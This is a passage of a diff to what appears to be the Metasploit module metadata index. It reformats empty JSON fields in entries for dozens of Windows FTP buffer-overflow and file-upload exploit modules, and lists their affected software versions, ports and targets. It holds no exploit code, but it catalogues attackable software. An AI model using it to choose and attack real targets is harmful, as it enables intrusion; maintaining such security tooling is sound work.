"type": "exploit", @@ -160815,12 +142743,8 @@ "platform": "Windows", "arch": "", "rport": 1, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Bruteforce", "Bruteforce iis-pam1.dll", @@ -160853,17 +142777,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/firewall/kerio_auth": { "name": "Kerio Firewall 2.1.4 Authentication Packet Overflow", "fullname": "exploit/windows/firewall/kerio_auth", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2003-04-28", "type": "exploit", @@ -160879,12 +142800,8 @@ "platform": "Windows", "arch": "", "rport": 44334, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro SP4 English", "Windows XP Pro SP0 English", @@ -160897,17 +142814,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/32bitftp_list_reply": { "name": "32bit FTP Client Stack Buffer Overflow ", "fullname": "exploit/windows/ftp/32bitftp_list_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", @@ -160923,12 +142837,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "XP Universal" ], @@ -160939,17 +142849,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/3cdaemon_ftp_user": { "name": "3Com 3CDaemon 2.0 FTP Username Overflow", "fullname": "exploit/windows/ftp/3cdaemon_ftp_user", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-01-04", "type": "exploit", @@ -160989,17 +142896,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/aasync_list_reply": { "name": "AASync v2.2.1.0 (Win32) Stack Buffer Overflow (LIST)", "fullname": "exploit/windows/ftp/aasync_list_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", @@ -161015,12 +142919,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "XP SP3 Universal" ], @@ -161031,17 +142931,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/ability_server_stor": { "name": "Ability Server 2.34 STOR Command Stack Buffer Overflow", "fullname": "exploit/windows/ftp/ability_server_stor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-10-22", "type": "exploit", @@ -161078,17 +142975,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/absolute_ftp_list_bof": { "name": "AbsoluteFTP 1.9.6 - 2.2.10 LIST Command Remote Buffer Overflow", "fullname": "exploit/windows/ftp/absolute_ftp_list_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-11-09", "type": "exploit", @@ -161104,12 +142998,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "WinXP SP2 - Windows 7 SP1 / AbsoluteFTP 1.9.6 - 2.2.10.252" ], @@ -161120,17 +143010,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/ayukov_nftp": { "name": "Ayukov NFTP FTP Client Buffer Overflow", "fullname": "exploit/windows/ftp/ayukov_nftp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-10-21", "type": "exploit", @@ -161147,12 +143034,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Pro SP3 English" ], @@ -161163,17 +143046,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/bison_ftp_bof": { "name": "BisonWare BisonFTP Server Buffer Overflow", "fullname": "exploit/windows/ftp/bison_ftp_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-08-07", "type": "exploit", @@ -161209,17 +143089,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/cesarftp_mkd": { "name": "Cesar FTP 0.99g MKD Command Buffer Overflow", "fullname": "exploit/windows/ftp/cesarftp_mkd", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-06-12", "type": "exploit", @@ -161256,17 +143133,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/comsnd_ftpd_fmtstr": { "name": "ComSndFTP v1.3.7 Beta USER Format String (Write4) Vulnerability", "fullname": "exploit/windows/ftp/comsnd_ftpd_fmtstr", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2012-06-08", "type": "exploit", @@ -161284,12 +143158,8 @@ "platform": "Windows", "arch": "x86", "rport": 21, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP SP3 - English", @@ -161302,17 +143172,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/dreamftp_format": { "name": "BolinTech Dream FTP Server 1.02 Format String", "fullname": "exploit/windows/ftp/dreamftp_format", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2004-03-03", "type": "exploit", @@ -161329,12 +143196,8 @@ "platform": "Windows", "arch": "x86", "rport": 21, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Dream FTP Server v1.02 Universal" ], @@ -161345,17 +143208,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/easyfilesharing_pass": { "name": "Easy File Sharing FTP Server 2.0 PASS Overflow", "fullname": "exploit/windows/ftp/easyfilesharing_pass", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-07-31", "type": "exploit", @@ -161389,17 +143249,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/easyftp_cwd_fixret": { "name": "EasyFTP Server CWD Command Stack Buffer Overflow", "fullname": "exploit/windows/ftp/easyftp_cwd_fixret", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-02-16", "type": "exploit", @@ -161444,17 +143301,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/easyftp_list_fixret": { "name": "EasyFTP Server LIST Command Stack Buffer Overflow", "fullname": "exploit/windows/ftp/easyftp_list_fixret", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-07-05", "type": "exploit", @@ -161489,17 +143343,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/easyftp_mkd_fixret": { "name": "EasyFTP Server MKD Command Stack Buffer Overflow", "fullname": "exploit/windows/ftp/easyftp_mkd_fixret", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-04-04", "type": "exploit", @@ -161542,17 +143393,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/filecopa_list_overflow": { "name": "FileCopa FTP Server Pre 18 Jul Version", "fullname": "exploit/windows/ftp/filecopa_list_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-07-19", "type": "exploit", @@ -161586,17 +143434,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/filewrangler_list_reply": { "name": "FileWrangler 5.30 Stack Buffer Overflow", "fullname": "exploit/windows/ftp/filewrangler_list_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", @@ -161612,12 +143457,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -161628,17 +143469,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/freefloatftp_user": { "name": "Free Float FTP Server USER Command Buffer Overflow", "fullname": "exploit/windows/ftp/freefloatftp_user", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-06-12", "type": "exploit", @@ -161671,17 +143509,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/freefloatftp_wbem": { "name": "FreeFloat FTP Server Arbitrary File Upload", "fullname": "exploit/windows/ftp/freefloatftp_wbem", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-12-07", "type": "exploit", @@ -161714,17 +143549,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/ftp/freeftpd_pass": { "name": "freeFTPd PASS Command Buffer Overflow", "fullname": "exploit/windows/ftp/freeftpd_pass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-08-20", "type": "exploit", @@ -161758,17 +143590,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/freeftpd_user": { "name": "freeFTPd 1.0 Username Overflow", "fullname": "exploit/windows/ftp/freeftpd_user", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-11-16", "type": "exploit", @@ -161805,17 +143634,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/ftpgetter_pwd_reply": { "name": "FTPGetter Standard v3.55.0.05 Stack Buffer Overflow (PWD)", "fullname": "exploit/windows/ftp/ftpgetter_pwd_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", @@ -161831,12 +143657,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "XP SP3 Universal" ], @@ -161847,17 +143669,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/ftppad_list_reply": { "name": "FTPPad 1.2.0 Stack Buffer Overflow", "fullname": "exploit/windows/ftp/ftppad_list_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", @@ -161872,12 +143691,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "XP SP3 Professional, English - shlwapi 6.00.2900.5912", "XP SP3 Professional, German - shlwapi 6.00.2900.5912", @@ -161890,17 +143705,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/ftpshell51_pwd_reply": { "name": "FTPShell 5.1 Stack Buffer Overflow", "fullname": "exploit/windows/ftp/ftpshell51_pwd_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", @@ -161915,12 +143727,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Universal" ], @@ -161931,17 +143739,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/ftpshell_cli_bof": { "name": "FTPShell client 6.70 (Enterprise edition) Stack Buffer Overflow", "fullname": "exploit/windows/ftp/ftpshell_cli_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-03-04", "type": "exploit", @@ -161957,12 +143762,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -161973,17 +143774,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/ftpsynch_list_reply": { "name": "FTP Synchronizer Professional 4.0.73.274 Stack Buffer Overflow", "fullname": "exploit/windows/ftp/ftpsynch_list_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", @@ -161998,12 +143796,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "XP Universal" ], @@ -162014,17 +143808,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/gekkomgr_list_reply": { "name": "Gekko Manager FTP Client Stack Buffer Overflow", "fullname": "exploit/windows/ftp/gekkomgr_list_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", @@ -162040,12 +143831,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "XP SP3 Universal" ], @@ -162056,17 +143843,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/globalscapeftp_input": { "name": "GlobalSCAPE Secure FTP Server Input Overflow", "fullname": "exploit/windows/ftp/globalscapeftp_input", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-05-01", "type": "exploit", @@ -162101,17 +143885,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/goldenftp_pass_bof": { "name": "GoldenFTP PASS Stack Buffer Overflow", "fullname": "exploit/windows/ftp/goldenftp_pass_bof", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-01-23", "type": "exploit", @@ -162150,17 +143931,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/httpdx_tolog_format": { "name": "HTTPDX tolog() Function Format String Vulnerability", "fullname": "exploit/windows/ftp/httpdx_tolog_format", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-11-17", "type": "exploit", @@ -162197,17 +143975,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/kmftp_utility_cwd": { "name": "Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow", "fullname": "exploit/windows/ftp/kmftp_utility_cwd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-08-23", "type": "exploit", @@ -162241,15 +144016,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "Stability": [], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": null @@ -162257,9 +144026,7 @@ "exploit_windows/ftp/labf_nfsaxe": { "name": "LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow", "fullname": "exploit/windows/ftp/labf_nfsaxe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-05-15", "type": "exploit", @@ -162275,12 +144042,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -162291,17 +144054,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/leapftp_list_reply": { "name": "LeapFTP 3.0.1 Stack Buffer Overflow", "fullname": "exploit/windows/ftp/leapftp_list_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", @@ -162317,12 +144077,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -162333,17 +144089,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/leapftp_pasv_reply": { "name": "LeapWare LeapFTP v2.7.3.600 PASV Reply Client Overflow", "fullname": "exploit/windows/ftp/leapftp_pasv_reply", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2003-06-09", "type": "exploit", @@ -162360,12 +144113,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal LeapFTP.exe", "Windows 2000 SP0/4 English", @@ -162378,17 +144127,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/ms09_053_ftpd_nlst": { "name": "MS09-053 Microsoft IIS FTP Server NLST Response Overflow", "fullname": "exploit/windows/ftp/ms09_053_ftpd_nlst", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-08-31", "type": "exploit", @@ -162426,17 +144172,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/netterm_netftpd_user": { "name": "NetTerm NetFTPD USER Buffer Overflow", "fullname": "exploit/windows/ftp/netterm_netftpd_user", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-04-26", "type": "exploit", @@ -162474,17 +144217,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/odin_list_reply": { "name": "Odin Secure FTP 4.1 Stack Buffer Overflow (LIST)", "fullname": "exploit/windows/ftp/odin_list_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", @@ -162500,12 +144240,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "XP SP3 Universal" ], @@ -162516,17 +144252,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/open_ftpd_wbem": { "name": "Open-FTPD 1.2 Arbitrary File Upload", "fullname": "exploit/windows/ftp/open_ftpd_wbem", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-18", "type": "exploit", @@ -162560,17 +144293,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/ftp/oracle9i_xdb_ftp_pass": { "name": "Oracle 9i XDB FTP PASS Overflow (win32)", "fullname": "exploit/windows/ftp/oracle9i_xdb_ftp_pass", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-08-18", "type": "exploit", @@ -162604,17 +144334,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/oracle9i_xdb_ftp_unlock": { "name": "Oracle 9i XDB FTP UNLOCK Overflow (win32)", "fullname": "exploit/windows/ftp/oracle9i_xdb_ftp_unlock", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-08-18", "type": "exploit", @@ -162649,17 +144376,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/pcman_put": { "name": "PCMAN FTP Server Buffer Overflow - PUT Command", "fullname": "exploit/windows/ftp/pcman_put", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-08-07", "type": "exploit", @@ -162693,17 +144417,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/pcman_stor": { "name": "PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow", "fullname": "exploit/windows/ftp/pcman_stor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-27", "type": "exploit", @@ -162737,17 +144458,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/proftp_banner": { "name": "ProFTP 2.9 Banner Remote Buffer Overflow", "fullname": "exploit/windows/ftp/proftp_banner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-08-25", "type": "exploit", @@ -162763,12 +144481,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], @@ -162779,17 +144493,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/quickshare_traversal_write": { "name": "QuickShare File Server 1.2.1 Directory Traversal Vulnerability", "fullname": "exploit/windows/ftp/quickshare_traversal_write", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-02-03", "type": "exploit", @@ -162824,17 +144535,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/ricoh_dl_bof": { "name": "Ricoh DC DL-10 SR10 FTP USER Command Buffer Overflow", "fullname": "exploit/windows/ftp/ricoh_dl_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-03-01", "type": "exploit", @@ -162869,17 +144577,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/sami_ftpd_list": { "name": "Sami FTP Server LIST Command Buffer Overflow", "fullname": "exploit/windows/ftp/sami_ftpd_list", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": "2013-02-27", "type": "exploit", @@ -162913,17 +144618,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/sami_ftpd_user": { "name": "KarjaSoft Sami FTP Server v2.0.2 USER Overflow", "fullname": "exploit/windows/ftp/sami_ftpd_user", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-01-24", "type": "exploit", @@ -162952,12 +144654,8 @@ "platform": "Windows", "arch": "x86", "rport": 21, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Sami FTP Server version 2.0.2" ], @@ -162979,9 +144677,7 @@ "exploit_windows/ftp/sasser_ftpd_port": { "name": "Sasser Worm avserve FTP PORT Buffer Overflow", "fullname": "exploit/windows/ftp/sasser_ftpd_port", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-05-10", "type": "exploit", @@ -163015,17 +144711,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/scriptftp_list": { "name": "ScriptFTP LIST Remote Buffer Overflow", "fullname": "exploit/windows/ftp/scriptftp_list", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-10-12", "type": "exploit", @@ -163044,12 +144737,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 / Windows Vista" ], @@ -163060,17 +144749,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/seagull_list_reply": { "name": "Seagull FTP v3.3 Build 409 Stack Buffer Overflow", "fullname": "exploit/windows/ftp/seagull_list_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", @@ -163085,12 +144771,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "XP Universal" ], @@ -163101,17 +144783,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/servu_chmod": { "name": "Serv-U FTP Server Buffer Overflow", "fullname": "exploit/windows/ftp/servu_chmod", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-12-31", "type": "exploit", @@ -163145,17 +144824,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/servu_mdtm": { "name": "Serv-U FTPD MDTM Overflow", "fullname": "exploit/windows/ftp/servu_mdtm", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2004-02-26", "type": "exploit", @@ -163191,17 +144867,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/slimftpd_list_concat": { "name": "SlimFTPd LIST Concatenation Overflow", "fullname": "exploit/windows/ftp/slimftpd_list_concat", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-07-21", "type": "exploit", @@ -163234,17 +144907,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/trellian_client_pasv": { "name": "Trellian FTP Client 3.01 PASV Remote Buffer Overflow", "fullname": "exploit/windows/ftp/trellian_client_pasv", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-04-11", "type": "exploit", @@ -163261,12 +144931,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Universal" ], @@ -163277,17 +144943,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/turboftp_port": { "name": "Turbo FTP Server 1.30.823 PORT Overflow", "fullname": "exploit/windows/ftp/turboftp_port", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2012-10-03", "type": "exploit", @@ -163324,17 +144987,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/vermillion_ftpd_port": { "name": "Vermillion FTP Daemon PORT Command Memory Corruption", "fullname": "exploit/windows/ftp/vermillion_ftpd_port", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-09-23", "type": "exploit", @@ -163367,17 +145027,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/warftpd_165_pass": { "name": "War-FTPD 1.65 Password Overflow", "fullname": "exploit/windows/ftp/warftpd_165_pass", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "1998-03-19", "type": "exploit", @@ -163410,17 +145067,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/warftpd_165_user": { "name": "War-FTPD 1.65 Username Overflow", "fullname": "exploit/windows/ftp/warftpd_165_user", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "1998-03-19", "type": "exploit", @@ -163457,17 +145111,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/wftpd_size": { "name": "Texas Imperial Software WFTPD 3.23 SIZE Overflow", "fullname": 